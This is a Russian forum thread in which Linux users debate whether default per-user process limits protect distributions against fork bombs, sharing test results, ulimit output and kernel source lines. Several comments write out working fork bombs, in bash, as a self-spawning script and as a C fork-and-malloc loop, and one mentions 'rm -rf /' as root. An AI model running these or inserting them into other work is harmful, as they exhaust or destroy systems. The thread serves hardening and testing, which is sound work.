LINUX.ORG.RU

Супер-пупер-современные дистрибутивы прорулили.

anonymous
()
Ответ на: комментарий от anonymous

Неконтролируемое размножение процессов системе, приводящее к ее краху.


Sun-ch
() автор топика
Ответ на: комментарий от dilmah

когда приходит пакет с отресом отправителя совпадающим с адресом получателя, и винда от этого дуреет . По слухам, lang атака опять работает в Windows после установки SP2 :)))

anonymous
()

Фигня все это. Если ulimit позволяет более-менее нормально работать - то злоумышленник все равно может вызвать resource exhaustion, просто чуть менее тривиальными методами. Типа "запускаем process limit программ, каждая из которых выделяет максимально доступное количество памяти, и начинает в цикле записывать по байту в каждую страницу". Еще можно файлов понасоздавать и писать в случайные места. И т.д.

anonymous
()

Статья - идиотизм. Думаю, любые *nix будут падать, если лимиты не проставлять. Под *bsd они проставляются на основе login-классов, под linux надо проставлять руками.

Вобщем, я бы таким экспертам руки бы поотрывал...

neru
()

Бред и ерунда :) работает как всегда :) даже лучше чем в hp-ux 11.11 автор гонит :) во первых впросто все уперается в r_limit и этим порожденным процесам форк в цикле возвращает -1 тоесть.. они даже ресурсов почти е выжирают :) пожно зайти под другим пользователем и кильнуть их все :)

а вообще можно проще $cat > f1 f1 & f1 & ^D $chmod u+x f1 $f1

PS проверял на МD 10 rc1

Nesk
()

Redhat 9 ядро 2.6.11 - ничего не рушится. Запустил раз 15-20. Прочихалось через какое-то время. Разумеется, стоит максим. число процессов для юзера.

WerNA ★★★★★
()
Ответ на: комментарий от WerNA

Гы.. а может имеется ввиду, что в этих дистрибутивах .. без дополнительных настроек.. .. при установки из коробки.. не определены соответсвующие лимиты для пользователей?

Nesk
()

Forkbomb, forkbomb, you're a forkbomb

You can give it to me when I need to come along

:-)

anonymous
()

Статью надо было всё-таки почитать. Автор упирает на то, что 1) В шапке, мандрейке и проч. дистрах (кстати, кроме дебиана - там всё ок) по умолчанию не выставлены "разумные" лимиты на локальных пользователей 2) что это всё должно контролирооваться ядром по умолчанию.

steam
()

Сходил, прочитал. Потом попробовал. Ничего не падает, если установлены лимиты на пользовательские процессы. А они, разумеется, установлены... Думаю, откровенная лажа, или пробовали на дистре из коробки, который установлен с настройками по дефолту. Прежде всего, отрывать лапы админу, и пинать по голове до до полного просветления!

:-)

R_Valery ★★★
()
Ответ на: комментарий от mic

> на 2.6.11-gentoo-r4 не крушит

2.6.11-gentoo-r4 - загнулась через минуту Запускал в иксах с двух консолей.

anonymous
()
Ответ на: комментарий от steam

Ребята, а вы на голову не долбанулись? Нафига ЯДРУ контролировать это, да еще "по-умолчанию"?!
Нормальная система ограничений - все что нужно. Ядро - оно должно ресурсы предоставлять, а не зажимать. Может, кому-то для вполне штатных действий понадобится породить 1000 потомков (апачу каком-нибудь), а ядро скаже - фигушки! у меня лимит на 100. Может еще и перекомпиляцию потребуете, новаторы, блин...

annoynimous ★★★★★
()
Ответ на: комментарий от steam

>1) В шапке, мандрейке и проч. дистрах

Прошу прощения, деиствительно как-то пропустил... Но это не даёт право на безграмотное администрирование систем! После установки система должна быть настроена конкретно для каждого пользователя (IMHO).

R_Valery ★★★
()

Кто-нибудь расскажите мне что-такое установка по-умолчанию для Gentoo?

anonymous
()
Ответ на: комментарий от Sirko

Вы что, не понимаете??? Версия ядра никому не интересна - важно, как настроены лимиты пользователей!!!

annoynimous ★★★★★
()

Меня всегда мучил вопрос по-поводу установки CPU Time ... У кого сколько стоит для регулярного пользователя? 100 минут хватит? :)

rusxakep
()
Ответ на: комментарий от steam

Вообще то RLIMIT_NPROC устанавливается в ядре!!! конечно и обычный пользователь его увеличить не может!
fork.c:129:     init_task.signal->rlim[RLIMIT_NPROC].rlim_cur = max_threads/2;
fork.c:130:     init_task.signal->rlim[RLIMIT_NPROC].rlim_max = max_threads/2;

fork.c:121:     max_threads = mempages / (8 * THREAD_SIZE / PAGE_SIZE);
fork.c:126:     if(max_threads < 20)
fork.c:127:             max_threads = 20;


так вот :) дома у меня RLIMIT_NPROC (по умолчанию) 4095
на работе 3839

так что 

Nesk
()
Ответ на: комментарий от Pi

>когда source IP и destination IP у посланного к машине пакета >совпадают

Просто хотел спросить а если общаться с другим процессом через локалхост то неужели все валится?

anonymous
()

А как красиво можно разнести систему, если запустить "rm -rf /" из-под рута...

anonymous
()

Почетайте коментарии к оригинальной статье, автора обосрали по полной
да он и вправду дурачек

gopakita
()
Ответ на: комментарий от rusxakep

А в чем, собственно, проблема? Ежели шелл не давать никому (типичный десктоп) , то на кой эти лимиты по умолчанию. Ну повесит чайник десктоп, да и барабан ему на шею. Редко на каком серваке шелл простому смертному открыт. Ну а там где это делают, дураков уже перестреляли.

anonymous
()

Solaris 9 the same problem

anonymous
()

спокойно порушит. даже если ограничение в улимите на процессы и выделяемую память. 

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(void){

        while (fork()){
        }

        while (1){
                malloc(1024);
        }

        return 0;
}

swar0g ★★★★
()
Ответ на: комментарий от anonymous

>>slackware 10.0 не упал :) - покряхтел минуты две и ожил (без ребута :)))
и чего сказал когда ожил?
вообще програмка страшная :)
покажи что там у тебя в ulimit -a

Nesk
()
Ответ на: комментарий от Nesk

bash: fork: Resource temporarily unavailable

core file size        (blocks, -c) 0
data seg size         (kbytes, -d) unlimited
file size             (blocks, -f) unlimited
max locked memory     (kbytes, -l) unlimited
max memory size       (kbytes, -m) unlimited
open files                    (-n) 1024
pipe size          (512 bytes, -p) 8
stack size            (kbytes, -s) unlimited
cpu time             (seconds, -t) unlimited
max user processes            (-u) 1791
virtual memory        (kbytes, -v) unlimited

anonymous
()
Ответ на: комментарий от anonymous

> :(){ :|:& };:

> это строка для баша

Не работает. Скрипт содержащий одну строчку: $0 ; $0 & - работает форк бомбой (в иксах можно успеть нажать ctrl alt backspace).

sin_a ★★★★★
()
Ответ на: комментарий от swar0g

Я бы конечно попробовал поигратся, но вдруг сервер у ребят упадет?

В прошлый раз они здорово расстроились, когда я диск с рейзером им

ухандокал.

Sun-ch
() автор топика
Ответ на: комментарий от swar0g

Я запустил с ulimit -m 8192 -u 100 :)

Такая вот секурная система :).

McGray ★★
()

ааааааа! как генту раскомпилировать до старой?

anonymous
()
Ответ на: комментарий от sin_a

>> :(){ :|:& };:

>> это строка для баша

>Не работает. Скрипт содержащий одну строчку: $0 ; $0 & - работает форк бомбой (в иксах можно успеть нажать ctrl alt backspace).

а у меня сработало :)

anonymous
()

в который раз луникс отссосал у бзди, а все потому, что не учатся на своих ошибках :)
все-таки не подходят луниксы для серверов - desktop only.

anonymous
()
Ответ на: комментарий от anonymous

>>в который раз луникс отссосал у бзди, а все потому, что не учатся на своих ошибках :)
>>все-таки не подходят луниксы для серверов - desktop only.

форкбомба она и в бзди форкбомба.. да и в винде тоже

Nesk
()
Ответ на: комментарий от Cosmicman

даже на себе проверил :))

sergei@space ~$ ulimit -u 128
sergei@space ~$ ulimit -v 8045
sergei@space ~$ ./forkbomb &
[1] 751
sergei@space ~$ top
bash: fork: Resource temporarily unavailable
:)))

*зашел с другой консоли*

sergei@space ~$ top

  8:19pm  up 56 min,  2 users,  load average: 140.72, 47.33, 7.16
177 processes: 46 sleeping, 131 running, 0 zombie, 0 stopped
CPU states: 28.4% user, 71.6% system,  0.0% nice,  0.0% idle
Mem:  1029808K av,  735552K used,  220304K free,       0K shrd,   19184K buff
Swap:  265032K av,   28828K used,  236204K free                   54768K cached

  PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND
  756 sergei    20   0  3740 3740   464 R     1.2  0.4   0:02 forkbomb
  758 sergei    20   0  3740 3740   464 R     1.0  0.4   0:02 forkbomb
  762 sergei    20   0  3740 3740   464 R     1.6  0.4   0:02 forkbomb
  751 sergei    20   0   488  488   456 R     1.4  0.1   0:01 forkbomb
  752 sergei    20   0  3740 3740   464 R     1.4  0.4   0:02 forkbomb
  753 sergei    20   0  3740 3740   464 R     1.4  0.4   0:02 forkbomb
  754 sergei    20   0  3740 3740   464 R     1.4  0.4   0:02 forkbomb
  755 sergei    20   0  3740 3740   464 R     1.4  0.4   0:02 forkbomb
  757 sergei    20   0  3740 3740   464 R     1.4  0.4   0:02 forkbomb
  759 sergei    20   0  3740 3740   464 R     1.4  0.4   0:02 forkbomb
  760 sergei    20   0  3740 3740   464 R     1.4  0.4   0:02 forkbomb
  761 sergei    20   0  3740 3740   464 R     1.4  0.4   0:02 forkbomb
  771 sergei    20   0  3740 3740   464 R     1.4  0.4   0:02 forkbomb
  780 sergei    14   0  3740 3740   464 R     1.4  0.4   0:02 forkbomb
  781 sergei    14   0  3740 3740   464 R     1.4  0.4   0:02 forkbomb
  782 sergei    14   0  3740 3740   464 R     1.4  0.4   0:02 forkbomb
  783 sergei    14   0  3740 3740   464 R     1.4  0.4   0:02 forkbomb
  784 sergei    14   0  3740 3740   464 R     1.4  0.4   0:02 forkbomb
[...]

sergei@space ~$ 


в логах такая шняга:

grsec: attempted resource overstep by requesting 5791744 for RLIMIT_AS against limit 4745216 by (forkbomb:757) UID(500) EUID(500), parent (forkbomb:751) UID(500) EUID(500)
grsec: attempted resource overstep by requesting 4747264 for RLIMIT_AS against limit 4745216 by (forkbomb:757) UID(500) EUID(500), parent (forkbomb:751) UID(500) EUID(500)
grsec: more alerts, logging disabled for 10 seconds

Cosmicman ★★
()

А я думал, что это как в C - "вы берете и простреливаете себе ногу".Т.е. если ты не выставил сам разумные ограничения, то будешь сам себе злобный буратина.

ant
()
Ответ на: комментарий от Nesk

ну не скажи, не скажи
запустил 5 консолей, на секунду тормознула мышь - а потом все нормализовалось (ulimit вообще не трогал)

http://x97rang.freeshell.org/snapshot.png

а вот slackware 9.1 повисла намертво и пришлось вспомнить про кнопку...

x97Rang ★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.